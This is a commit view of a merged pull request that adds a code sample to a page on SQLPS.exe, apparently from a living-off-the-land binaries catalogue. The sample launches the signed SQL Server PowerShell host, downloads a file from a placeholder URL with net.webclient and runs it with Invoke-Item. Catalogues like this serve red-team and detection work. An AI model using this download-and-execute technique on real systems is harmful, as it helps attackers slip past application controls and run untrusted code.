Merge pull request #3 from vortexau/master

Added code sample and a note about the path to Sqlps.exe page
master
Oddvar Moe 2018-04-23 18:11:52 +02:00 committed by GitHub
commit 439b107285
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 14 additions and 2 deletions

View File

@ -10,7 +10,19 @@ Acknowledgements:
* Bryon - @bryon_
Code sample:
*
* Downloading & executing a file
```
C:\Users>"C:\Program Files (x86)\Microsoft SQL Server\100\Tools\Binn\SQLPS.exe"
PS SQLSERVER> (New-Object net.webclient).downloadfile("http://<source file URL>","<local save path>")
PS SQLSERVER> ii <downloaded executable>
# ii is shorthand for Invoke-Item
```
Notes
* Path above may vary slightly. If '100' is invalid, try replacing '100' with '110', this was required in a lab setup.
Resources:
* https://twitter.com/bryon_/status/975835709587075072
@ -24,4 +36,4 @@ Notes:
A Powershell host.